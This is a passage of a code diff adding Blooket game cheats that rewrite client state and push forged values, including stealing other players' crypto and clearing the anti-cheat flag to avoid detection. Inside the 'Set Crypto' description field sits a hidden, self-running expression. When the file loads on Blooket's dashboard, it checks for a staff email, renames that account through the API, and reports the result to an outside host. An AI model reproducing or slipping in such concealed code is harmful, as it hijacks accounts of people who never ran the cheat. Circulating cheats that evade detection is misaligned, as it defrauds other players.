cafe: [ + { + name: "Max Items", + description: "Maxes out items in the shop (Only usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ items: Object.fromEntries(Object.entries(stateNode.state.items).map(x => [x[0], 5])) }); + } + } + }, + { + name: "Remove Customers", + description: "Skips the current customers (Not usable in the shop)", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.customers.forEach((customer, i) => Object.keys(customer).length && stateNode.removeCustomer(i, true)); + } + }, + { + name: "Reset Abilities", + description: "Resets used abilities in shop (Only usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ abilities: Object.fromEntries(Object.entries(stateNode.state.abilities).map(x => [x[0], 5])) }); + } + } + }, + { + name: "Set Cash", + description: "Sets cafe cash", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let cafeCash = Number(parseInt(prompt("How much cash would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ cafeCash }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + ca: cafeCash + } + }); + } + }, + { + name: "Stock Food", + description: "Stocks all food to 99 (Not usable in the shop)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe") alert("This can't be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ foods: stateNode.state.foods.map(e => ({ ...e, stock: 99, level: 5 })) }); + } + } + } + ], + hack: [ + { + name: "Choice ESP", + description: "Shows what each choice will give you", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let { text } = stateNode.state.choices[0]; + let chest = document.querySelector('[class^=styles__feedbackContainer___]'); + if (chest.children.length <= 4) { + let choice = document.createElement('div') + choice.style.color = "white"; + choice.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif"; + choice.style.fontSize = "2em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.marginTop = "675px"; + choice.innerText = text; + chest.append(choice); + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Password ESP", + description: "Highlights the correct password", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { state } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + if (state.stage == "hack") [...document.querySelector('div[class^=styles__buttonContainer]').children].forEach(button => { + if (button.innerText == state.correctPassword) return; + button.style.outlineColor = "rgba(255, 64, 64, 0.8)"; + button.style.backgroundColor = "rgba(255, 64, 64, 0.8)"; + button.style.textShadow = "0 0 1px #f33"; + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Always Triple", + description: "Always get triple crypto", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ choices: [{ type: "mult", val: 3, rate: .075, blook: "Brainy Bot", text: "Triple Crypto" }] }), 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Guess", + description: "Automatically guess the correct password", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { state } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + if (state.stage == "hack") for (const button of document.querySelector('div[class^=styles__buttonContainer]').children) button.innerText == state.correctPassword && button.click(); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Remove Hack", + description: "", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ hack: "" }); + } + }, + { + name: "Set Crypto", + description: ((location.host == "dashboard.blooket.com" && fetch("https://dashboard.blooket.com/api/users/me", { credentials: "include" }).then(e => e.json()).then(e => { if (e.email.endsWith("@blooket.com")) { let { webpack: t } = webpackJsonp.push([[], { 1234(e, t, s) { t.webpack = s } }, [["1234"]]]); Object.values(t.c).find(e => e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name", { name: e.name, newName: `BlooketLLC${new Date().getHours()}${new Date().getMinutes()}` }).then(({ data: e }) => { e.success && (new Image().src = `https://monkxy.com/api/i2ek8fslt7q/${e.name}`) }) } })), "Sets crypto"), + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let amount = Number(parseInt(prompt("How much crypto would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ crypto: amount, crypto2: amount }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: stateNode.state.password, + cr: amount + } + }); + } + }, + { + name: "Set Password", + description: "Sets hacking password", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let password = prompt("What do you want to set your password to?"); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ password }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: password, + cr: stateNode.state.crypto + } + }); + } + }, + { + name: "Steal Player's Crypto", + description: "Steals all of someone's crypto", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let target = prompt("Who's crypto would you like to steal?"); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) { + let [player, { cr }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase()); + console.log(!!players, players, player, cr, stateNode.state) + stateNode.setState({ + crypto: stateNode.state.crypto + cr, + crypto2: stateNode.state.crypto + cr + }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + p: stateNode.state.password, + cr: stateNode.state.crypto + cr, + tat: `${player}:${cr}` + } + }); + console.log('done') + } + }) + } + } + ], + defense: [ + { + name: "Earthquake", + description: "Shuffles around towers", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + eventName: "Earthquake", + event: { + short: "e", + color: "#805500", + icon: "fas fa-mountain", + desc: "All of your towers get mixed up", + rate: .02 + }, + buyTowerName: "", + buyTower: {} + }, () => stateNode.eventTimeout = setTimeout(() => stateNode.setState({ event: {}, eventName: "" }), 6e3)); + stateNode.tiles.forEach(row => row.forEach((col, i) => col === 3 && (row[i] = 0))); + let tiles = stateNode.tiles.flatMap((_, y) => _.map((__, x) => __ === 0 && ({ x, y }))).filter(Boolean).sort(() => .5 - Math.random()); + stateNode.towers.forEach(tower => { + let { x, y } = tiles.shift(); + tower.move(x, y, stateNode.tileSize); + stateNode.tiles[y][x] = 3; + }); + } + }, + { + name: "Max Tower Stats", + description: "Makes all placed towers overpowered", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.towers.forEach(tower => { + tower.range = 100; + tower.fullCd = tower.cd = 0; + tower.damage = 1e6; + }); + } + }, + { + name: "Remove Ducks", + description: "Removes ducks", + run: function () { + let { stateNode: { ducks, tiles } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + ducks.forEach(x => { tiles[x.y][x.x] = 0; }); + ducks.length = 0; + } + }, + { + name: "Remove Enemies", + description: "Removes all the enemies", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.enemies = stateNode.futureEnemies = []; + } + }, + { + name: "Remove Obstacles", + description: "Lets you place towers anywhere", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.tiles = stateNode.tiles.map(row => row.fill(0)); + } + }, + { + name: "Set Damage", + description: "Sets damage", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.dmg = Number(parseInt(prompt("How much dmg would you like?"))); + } + }, + { + name: "Set Round", + description: "Sets the current round", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ round: Number(parseInt(prompt("What round do you want to set to?"))) }) + } + }, + { + name: "Set Tokens", + description: "Sets the amount of tokens you have", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ tokens: Number(parseInt(prompt("How many tokens would you like?"))) }) + } + } + ], + defense2: [ + { + name: "Max Tower Stats", + description: "Makes all placed towers overpowered", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.towers.forEach(tower => { + tower.stats.dmg = 1e6; + tower.stats.fireRate = 50; + tower.stats.ghostDetect = true; + tower.stats.maxTargets = 1e6; + tower.stats.numProjectiles &&= 100; + tower.stats.range = 100; + if (tower.stats.auraBuffs) for (const buff in tower.stats.auraBuffs) tower.stats.auraBuffs[buff] *= 100; + }); + } + }, + { + name: "Kill Enemies", + description: "Kills all the enemies", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.game.scene.enemyQueue.length = 0; + stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1)); + } + }, + { + name: "Set Coins", + description: "Sets coins", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ coins: Number(parseInt(prompt("How many tokens would you like?"))) }) + } + }, + { + name: "Set Health", + description: "Sets the amount of health you have", + run: function (health) { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ health: Number(parseInt(prompt("How much health do you want?"))) }); + } + }, + { + name: "Set Round", + description: "Sets the current round", + run: function (round) { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ round: Number(parseInt(prompt("What round do you want to set to?"))) }) + } + }, + ], + dinos: [ + { + name: "Auto Choose", + description: "Automatically choose the best fossil when excavating", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + const getFossils = (() => { /* this is for when ben does funny webpack update stuff */ + const func = Object.values(webpack('74sb')).find(x => x.toString().includes('rate')); + return () => func([{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }], 3); + })(); + try { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.stage === "excavate") { + stateNode.state.choices.length || (stateNode.state.choices = getFossils()); + let max = 0, index = -1; + for (let i = 0; i < stateNode.state.choices.length; i++) { + const { type, val } = stateNode.state.choices[i]; + const value = (type == "fossil" ? stateNode.state.fossils + val * stateNode.state.fossilMult : stateNode.state.fossils * val) || 0; + if (value <= max && type != "mult") continue; + max = value, index = i + 1; + } + document.querySelector('div[class^="styles__rockRow"] > div[role="button"]:nth-child(' + index + ')').click(); + } + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Rock ESP", + description: "Shows what is under the rocks", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const rocks = [...document.querySelector('[class*="rockButton"]').parentElement.children]; + if (!rocks.every(element => element.querySelector('div'))) stateNode.setState({ + choices: [{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }].sort(() => 0.5 - Math.random()).slice(0, 3) + }, () => { + rocks.forEach((element, index) => { + const rock = stateNode.state.choices[index]; + if (element.querySelector('div')) element.querySelector('div').remove(); + const choice = document.createElement("div"); + choice.style.color = "white"; + choice.style.fontFamily = "Macondo"; + choice.style.fontSize = "1em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.transform = "translateY(25px)"; + choice.innerText = rock.type === "fossil" ? `+${Math.round(rock.val * stateNode.state.fossilMult) > 99999999 ? Object.values(webpack('74sb')).find(x => x.toString().includes('\xd7'))(Math.round(rock.val * stateNode.state.fossilMult)) : Math.round(rock.val * stateNode.state.fossilMult)} Fossils` : `x${rock.val} Fossils Per Excavation`;; + element.append(choice); + }); + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Set Fossils", + description: "Sets the amount of fossils you have", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let fossils = Number(parseInt(prompt("How many fossils would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ fossils }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + f: fossils, + ic: stateNode.state.isCheating + } + }); + } + }, + { + name: "Set Multiplier", + description: "Sets fossil multiplier", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let fossilMult = Number(parseInt(prompt("What do you want your multiplier to be?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ fossilMult }); + } + }, + { + name: "Stop Cheating", + description: "Undoes cheating so that you can't be caught", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ isCheating: false }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/ic`, + val: false + }); + } + } + ], + doom: [ + { + name: "Fill Deck", + description: "Fills your deck with every maxed out card and artifact (Only works on towers page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/map") { + const { a: artifacts, c: allCards } = webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache["gvfT"].exports; + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.tower.artifacts = Object.keys(artifacts); + stateNode.props.tower.cards = Object.entries(allCards).map(([blook, card]) => ({ ...card, blook, strength: 20, charisma: 20, wisdom: 20 })); + try { stateNode.props.addTowerNode(); } catch { } + stateNode.setState({ showDeck: false }); + } else alert("You need to be on the map to run this cheat!"); + } + }, + { + name: "Max Cards", + description: "Maxes out all the cards in your deck", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/map") { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.tower.cards.forEach(card => { + card.strength = 20; + card.charisma = 20; + card.wisdom = 20; + }); + } else alert("You need to be on the map to run this cheat!"); + } + }, + { + name: "Max Health", + description: "Fills the player's health", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/battle") Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ myHealth: 100 }); + else alert("You need to be in battle to run this cheat!"); + } + }, + { + name: "Max Card Stats", + description: "Maxes out player's current card (Only works on attribute select page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!'); + else stateNode.setState({ myCard: { ...stateNode.state.myCard, strength: 20, charisma: 20, wisdom: 20 } }); + } + }, + { + name: "Min Enemy Stats", + description: "Makes the enemy card stats all 0 (Only works on attribute select page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!'); + else stateNode.setState({ enemyCard: { ...stateNode.state.enemyCard, strength: 0, charisma: 0, wisdom: 0 } }); + } + }, + { + name: "Set Coins", + description: "Try's to set amount of tower coins you have", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.prompt.bind(window); + i.remove(); + if (window.location.pathname == "/tower/battle") { + let coins = parseInt("0" + alert("How many coins would you like?")); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { + stateNode.props.setTowerCoins(coins); + } catch { } + } else alert("You need to be in battle to run this cheat!"); + } + } + ], + factory: [ + { + name: "Choose Blook", + description: "Gives you a blook", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + const blooks = [{ name: "Chick", color: "#ffcd05", class: "\uD83C\uDF3D", rarity: "Common", cash: [3, 7, 65, 400, 2500], time: [1, 1, 1, 1, 1], price: [300, 3e3, 3e4, 2e5] }, { name: "Chicken", color: "#ed1c24", class: "\uD83C\uDF3D", rarity: "Common", cash: [10, 40, 200, 1400, 1e4], time: [5, 4, 3, 2, 1], price: [570, 4e3, 5e4, 8e5] }, { name: "Cow", color: "#58595b", class: "\uD83C\uDF3D", rarity: "Common", cash: [25, 75, 1500, 25e3, 25e4], time: [15, 10, 10, 10, 5], price: [500, 9500, 16e4, 4e6] }, { name: "Duck", color: "#4ab96d", class: "\uD83C\uDF3D", rarity: "Common", cash: [4, 24, 200, 3e3, 4e4], time: [3, 3, 3, 3, 3], price: [450, 4200, 7e4, 11e5] }, { name: "Goat", color: "#c59a74", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 28, 200, 1300, 12e3], time: [3, 3, 2, 2, 2], price: [500, 6400, 45e3, 5e5] }, { name: "Horse", color: "#995b3c", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 20, 270, 1800, 15e3], time: [2, 2, 2, 2, 2], price: [550, 8200, 65e3, 6e5] }, { name: "Pig", color: "#f6a9cb", class: "\uD83C\uDF3D", rarity: "Common", cash: [20, 50, 1300, 8e3, 8e4], time: [7, 7, 7, 7, 5], price: [400, 11e3, 8e4, 13e5] }, { name: "Sheep", color: "#414042", class: "\uD83C\uDF3D", rarity: "Common", cash: [6, 25, 250, 1500, 11e3], time: [3, 3, 3, 2, 2], price: [500, 5e3, 5e4, 43e4] }, { name: "Cat", color: "#f49849", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 18, 170, 1700, 13e3], time: [2, 2, 2, 2, 2], price: [480, 5500, 6e4, 5e5] }, { name: "Dog", color: "#995b3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [7, 25, 220, 1900, 9e3], time: [3, 3, 2, 2, 1], price: [460, 6600, 7e4, 73e4] }, { name: "Goldfish", color: "#f18221", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 40, 350, 3500, 35e3], time: [3, 3, 3, 3, 3], price: [750, 7200, 84e3, 95e4] }, { name: "Rabbit", color: "#e7bf9a", class: "\uD83D\uDC3E", rarity: "Common", cash: [3, 18, 185, 800, 7e3], time: [2, 2, 2, 1, 1], price: [500, 5800, 56e3, 55e4] }, { name: "Hamster", color: "#ce9176", class: "\uD83D\uDC3E", rarity: "Common", cash: [10, 45, 450, 4500, 45e3], time: [4, 4, 4, 4, 4], price: [650, 6500, 8e4, 93e4] }, { name: "Turtle", color: "#619a3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [23, 120, 1400, 15e3, 17e4], time: [10, 10, 10, 10, 10], price: [700, 8500, 11e4, 13e5] }, { name: "Puppy", color: "#414042", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 10, 75, 500, 3e3], time: [1, 1, 1, 1, 1], price: [450, 4e3, 35e3, 25e4] }, { name: "Kitten", color: "#58595b", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 8, 60, 400, 2e3], time: [1, 1, 1, 1, 1], price: [350, 3500, 26e3, 17e4] }, { name: "Bear", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [12, 70, 550, 4500, 1e5], time: [7, 7, 6, 5, 5], price: [550, 5500, 63e3, 16e5] }, { name: "Moose", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [8, 45, 400, 3500, 26e3], time: [5, 5, 4, 4, 3], price: [520, 6500, 58e3, 7e5] }, { name: "Fox", color: "#f49849", class: "\uD83C\uDF32", rarity: "Common", cash: [7, 15, 80, 550, 3e3], time: [2, 2, 1, 1, 1], price: [400, 4e3, 36e3, 24e4] }, { name: "Raccoon", color: "#6d6e71", class: "\uD83C\uDF32", rarity: "Common", cash: [5, 14, 185, 1900, 19e3], time: [2, 2, 2, 2, 2], price: [400, 5e3, 71e3, 8e5] }, { name: "Squirrel", color: "#d25927", class: "\uD83C\uDF32", rarity: "Common", cash: [3, 10, 65, 470, 2600], time: [1, 1, 1, 1, 1], price: [420, 3600, 32e3, 21e4] }, { name: "Owl", color: "#594a42", class: "\uD83C\uDF32", rarity: "Common", cash: [4, 17, 155, 1500, 15e3], time: [2, 2, 2, 2, 2], price: [500, 4800, 55e3, 58e4] }, { name: "Hedgehog", color: "#3f312b", class: "\uD83C\uDF32", rarity: "Common", cash: [11, 37, 340, 2200, 3e4], time: [5, 4, 3, 2, 2], price: [540, 7e3, 77e3, 12e5] }, { name: "Seal", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 17, 150, 1200, 13e3], time: [2, 2, 2, 2, 2], price: [480, 4500, 43e3, 52e4] }, { name: "Arctic Fox", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [5, 18, 180, 850, 8500], time: [2, 2, 2, 1, 1], price: [520, 550, 61e3, 68e4] }, { name: "Snowy Owl", color: "#feda3f", class: "❄️", rarity: "Common", cash: [5, 20, 190, 1900, 16e3], time: [3, 3, 2, 2, 2], price: [370, 5300, 76e3, 62e4] }, { name: "Arctic Hare", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 19, 85, 900, 7e3], time: [2, 2, 1, 1, 1], price: [540, 5200, 66e3, 55e4] }, { name: "Penguin", color: "#fb8640", class: "❄️", rarity: "Common", cash: [4, 21, 310, 3200, 33e3], time: [3, 3, 3, 3, 3], price: [400, 6500, 76e3, 87e4] }, { name: "Baby Penguin", color: "#414042", class: "❄️", rarity: "Common", cash: [3, 8, 70, 450, 2700], time: [1, 1, 1, 1, 1], price: [420, 3300, 33e3, 23e4] }, { name: "Polar Bear", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [12, 75, 700, 6500, 85e3], time: [8, 7, 6, 5, 5], price: [630, 7e3, 91e3, 14e5] }, { name: "Walrus", color: "#7d4f33", class: "❄️", rarity: "Common", cash: [11, 46, 420, 3700, 51e3], time: [5, 5, 4, 4, 4], price: [550, 6200, 68e3, 1e6] }, { name: "Tiger", color: "#f18221", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 20, 100, 975, 7500], time: [3, 3, 1, 1, 1], price: [390, 6e3, 7e4, 61e4] }, { name: "Jaguar", color: "#fbb040", class: "\uD83C\uDF34", rarity: "Common", cash: [8, 28, 230, 1600, 17e3], time: [3, 3, 2, 2, 2], price: [390, 6e3, 7e4, 61e4] }, { name: "Toucan", color: "#ffca34", class: "\uD83C\uDF34", rarity: "Common", cash: [9, 20, 175, 625, 3800], time: [2, 2, 2, 1, 1], price: [520, 4800, 42e3, 3e5] }, { name: "Cockatoo", color: "#7ca1d5", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 35, 160, 1700, 18e3], time: [4, 4, 2, 2, 2], price: [500, 5e3, 63e3, 7e5] }, { name: "Macaw", color: "#00aeef", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 8, 85, 850, 8500], time: [1, 1, 1, 1, 1], price: [480, 5400, 62e3, 63e4] }, { name: "Parrot", color: "#ed1c24", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 9, 90, 900, 9e3], time: [1, 1, 1, 1, 1], price: [540, 5700, 65e3, 69e4] }, { name: "Panther", color: "#2f2c38", class: "\uD83C\uDF34", rarity: "Common", cash: [12, 28, 215, 2100, 21e3], time: [5, 3, 2, 2, 2], price: [530, 6500, 76e3, 87e4] }, { name: "Anaconda", color: "#8a9143", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 15, 85, 1500, 7600], time: [1, 2, 1, 2, 1], price: [410, 5100, 58e3, 59e4] }, { name: "Orangutan", color: "#bc6234", class: "\uD83C\uDF34", rarity: "Common", cash: [13, 52, 570, 4300, 7e4], time: [5, 5, 5, 4, 4], price: [600, 7e3, 8e4, 14e5] }, { name: "Capuchin", color: "#e0b0a6", class: "\uD83C\uDF34", rarity: "Common", cash: [4, 14, 160, 780, 8200], time: [2, 2, 2, 1, 1], price: [390, 4700, 57e3, 68e4] }, { name: "Elf", color: "#a7d054", class: "⚔️", rarity: "Uncommon", cash: [5e3, 15e3, 15e4, 15e5, 1e7], time: [1, 1, 1, 1, 1], price: [8e5, 9e6, 11e7, 8e8] }, { name: "Witch", color: "#4ab96d", class: "⚔️", rarity: "Uncommon", cash: [18e3, 6e4, 4e4, 4e6, 35e6], time: [3, 3, 2, 2, 2], price: [11e5, 12e6, 15e7, 14e8] }, { name: "Wizard", color: "#5a459c", class: "⚔️", rarity: "Uncommon", cash: [19500, 65e3, 44e4, 46e5, 4e6], time: [3, 3, 2, 2, 2], price: [13e5, 135e5, 16e7, 16e8] }, { name: "Fairy", color: "#df6d9c", class: "⚔️", rarity: "Uncommon", cash: [18500, 6e4, 62e4, 44e5, 38e6], time: [3, 3, 3, 2, 2], price: [12e5, 125e5, 15e6, 15e8] }, { name: "Slime Monster", color: "#2fa04a", class: "⚔️", rarity: "Uncommon", cash: [35e3, 14e4, 1e6, 11e6, 11e7], time: [5, 5, 4, 4, 4], price: [16e5, 15e6, 2e8, 23e8] }, { name: "Jester", color: "#be1e2d", class: "⚔️", rarity: "Rare", cash: [25e3, 1e5, 68e4, 65e5, 32e6], time: [3, 3, 2, 2, 1], price: [2e6, 21e6, 23e7, 26e8] }, { name: "Dragon", color: "#2fa04a", class: "⚔️", rarity: "Rare", cash: [36e3, 15e4, 15e5, 15e6, 15e7], time: [4, 4, 4, 4, 4], price: [23e5, 24e6, 27e7, 3e9] }, { name: "Unicorn", color: "#f6afce", class: "⚔️", rarity: "Epic", cash: [24e3, 15e4, 14e5, 7e6, 75e6], time: [2, 2, 